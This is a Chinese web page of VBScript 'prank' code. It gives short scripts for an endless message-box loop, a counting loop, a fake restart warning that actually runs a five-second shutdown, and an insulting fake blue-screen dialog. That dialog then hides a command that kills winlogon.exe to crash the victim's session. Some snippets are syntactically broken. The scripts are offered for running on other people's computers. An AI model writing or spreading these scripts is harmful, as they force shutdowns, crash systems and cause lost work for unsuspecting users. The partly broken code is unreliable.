vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等
1、无限循环hi
msgbox "hi"
loop
2、无限制的用英文报数
i=0
do
s.speak i
i=i+1
loop
3、计算机重启提示
msgbox " 系统将立刻重起wow ~_^",,"你上当了!!"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
4、假蓝屏提醒
if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0
您可能感兴趣的文章:
vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等
vbs恶作剧(整人代码)-死循环 讲故事等
vbs恶作剧(整人代码)-感人的文章(我是猪)
vbs恶作剧(整人代码)-写入大量的垃圾文件,吓哭他
电脑开机蓝屏和系统使用中蓝屏的解决办法
电脑开机蓝屏是什么原因?电脑蓝屏的解决办法
vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等
电脑无法进入系统类故障排查方法
vbs恶作剧(整人代码)-删除桌面 关机密码 关机前打开多个窗口等
vbs恶作剧(整人代码)-让他承认自己是大傻B